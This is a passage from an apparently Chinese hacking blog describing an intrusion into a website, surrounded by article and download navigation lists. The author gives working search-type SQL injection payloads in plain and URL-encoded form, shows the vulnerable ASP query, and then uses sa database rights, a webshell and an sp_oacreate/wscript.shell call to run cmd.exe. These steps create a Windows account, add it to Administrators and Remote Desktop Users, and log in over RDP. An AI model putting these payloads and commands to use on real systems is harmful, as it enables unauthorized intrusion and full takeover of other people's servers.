最近文章更新
- 1966年生产的广州 珠江 SB6-2型 ..
- HD6870/6850全面评测,让你大饱眼..
- 百万现金刚入门 中国7大奢华私人..
- 罕见4G希捷酷鱼系类万转SCSI服务..
- IBM 6x86MX PR333 CPU
- 采用MC68000 CPU的进口老计算机主..
- 1989年IBM-XT机软驱
- BC3型饱和标准电池拆解
- JUKO ST
- Kingston 品牌的CPU
- YAMAHA 719
- intel 30线 内存条
- intel mmx cpu和主板
- 首款xHCI 1.0正式版标准USB 3.0控..
- 《极品飞车:地下狂飙》纹理MOD视..
- USB接口加扩展子卡:影驰神秘GTX..
- 阿里巴巴将发布浏览器 核心不是W..
- 黄仁勋大秀NVIDIA LOGO纹身
- Google Earth上的奇特卫星图片
- 开火!讯景限量版HD 5970详细测试..
相关文章链接
本类文章排行
最新新闻资讯
本周下载排行
- ArcSoft TotalMedia Theatre 3 P..
- Windows 7 Build 7600 16385 RTM..
- 《姗姗来迟软件光盘+飞扬PE工具箱..
- MSDN Windows 7 RTL 7600 Ultima..
- Windows 7 Home Premium (x86) -..
- Windows Virtual PC (x86) - (Mu..
- MSDN Windows 7 Language Pack X..
- Windows 7 Language Pack (x64) ..
- Windows 7 Starter (x86) - DVD ..
- Windows 7 Professional (x86) -..
- Windows 7 Language Pack (x86) ..
- Windows 7 Home Premium (x64) -..
- Windows XP Mode (x86, x64) - (..
- 7127.0.090507-1820_x86fre_clie..
- DMG2ISO
本月下载排行
- ArcSoft TotalMedia Theatre 3 P..
- Windows 7 Build 7600 16385 RTM..
- 《姗姗来迟软件光盘+飞扬PE工具箱..
- MSDN Windows 7 RTL 7600 Ultima..
- MSDN Windows 7 Language Pack X..
- Windows 7 Home Premium (x86) -..
- Windows 7 Language Pack (x64) ..
- Windows 7 Professional (x86) -..
- 7127.0.090507-1820_x86fre_clie..
- Windows 7 Professional (x64) -..
- Windows 7 Starter (x86) - DVD ..
- Windows Virtual PC (x86) - (Mu..
- Windows 7 Ultimate (x64) - DVD..
- Lenovo Windows 7 Ultimate OEM ..
- Windows 7 Home Premium (x64) -..
- 阅览次数: 文章来源: 原文作者: 整理日期: 2010-05-22
搜索型无变量注入点简单分析一例
搜索型无变量注入点简单分析一例
前日消灭扔了个注入点给我弄,自己吃饭去了,在这里鄙视一下他先。
注入点“http://www.site.com/Train_List.asp?xyz=”
特点是无需变量就能注入,但反应速度极慢。
进入主页www.site.com ,发现除了几个搜索框,基本上没有能下手的地方。
在搜索框里加“'”,点击“搜索”,得到出错页面“http://www.site.com/main.asp?xyz='”
出错信息:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 ' order by gceek' 之前有未闭合的引号。
/Train_List.asp,行 25
在搜索框里加“%”,点击“搜索”,大约1分钟后(数据多的关系,不是网速慢),得到正常显示的页面“http://www.sitel.com/main.asp?xyz=%”
猜测存在搜索型注入。
进一步测试,弄个能查询到的关键字“北京”,在输入框里输入“北京%' and '1'='1' and '%'='”和“北京%' and '1'='2' and '%'='”分别搜索,得到的页面一样,都是没有数据的空页面。
结合上面的出错信息,猜测“http://www.site.com/main.asp“只是调用页面,真正存在注入的应该是“http://www.site.com /Train_List.asp” 。
在google搜索“http://www.site.com/Train_List.asp” ,找到一条纪录“http://www.site.com /Train_List.asp?xyz=%C9%CF%BA%A3”,点击可以正常打开,显示的是关键词“上海”的搜索结果(“%C9%CF%BA%A3”是“上海”的url编码)。
结合前面的信息,已经可以确定http://www.site.com /Train_List.asp的参数就是xyz,进一步测试:
http://www.site.com/Train_List.asp?xyz= %B1%B1%BE%A9%25%27%20%61%6E%64%20%27%31%27%3D%27%31%27%20%61%6E%64%20%27%25%27%3D%27
(“北京%' and '1'='1' and '%'='”的url编码)
返回关键词“北京”的搜索结果。
http://www.site.com/Train_List.asp?xyz= %B1%B1%BE%A9%25%27%20%61%6E%64%20%27%31%27%3D%27%32%27%20%61%6E%64%20%27%25%27%3D%27
(“北京%' and '1'='2' and '%'='”的url编码)
返回没有数据的空白页面。
这就可以确定是存在注入点了。
挑一个相关数据最少的关键词“广东东”(为了加快反应速度),构造url: “http://www.site.com/Train_List.asp?xyz=广东东%” 放进注入漏洞扫描器开扫,呵呵,速度飞快,很快就什么都出来了。
那么“http://www.site.com/Train_List.asp?xyz=”为什么不需变量也能注入呢?
结合拿到的源码分析一下
关键语句
elseif xyz<>"" then
sql="select * from Train_all where lm like '%"&xyz&"%' order by gceek"
简单判断参数“xyz”不为空,则代入查询。
代入我们之前构造的语句 “北京%' and '1'='1' and '%'='”
sql="select * from Train_all where lm like '%北京%' and '1'='1' and '%'='%' order by gceek"
构成注入,得到的结果是所有包含关键字“北京”的数据。
代入不带变量的构造语句 “' and '1'='1' and '%'='”
sql="select * from Train_all where lm like '%' and '1'='1' and '%'='%' order by gceek"
也构成注入,因为“%”是通配符,得到的结果是所查询数据表里的所有数据。
不带变量注入的时候,每次查询,服务器都要返回所查询数据表里的所有数据,反应速度当然就慢了。
后续:
之后就容易了,sa权限的注入点,管理员设置的比较严谨,删除了xp_cmdshell存储扩展和xplog70.dll文件。拿到的webshell没有写和删除的权限,有读和修改的权限。修改webshell为asp探针的代码,得知存在wscript.shell (命令行执行组件),找到连接帐户和密码,用查询分析器连上,执行
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c net user sai52 xxxxxxxxxxxxxx /add' 成功添加用户。
(sp_oacreate:运行CMD并显示回显的要求是wscript.shell和scripting.FileSystemObject可用)
之后我就直接用工具NBSI执行命令了。
net localgroup administrators sai52 /add
net user sai52 /active:yes
net localgroup "Remote Desktop Users" sai52 /add
成功登陆3389。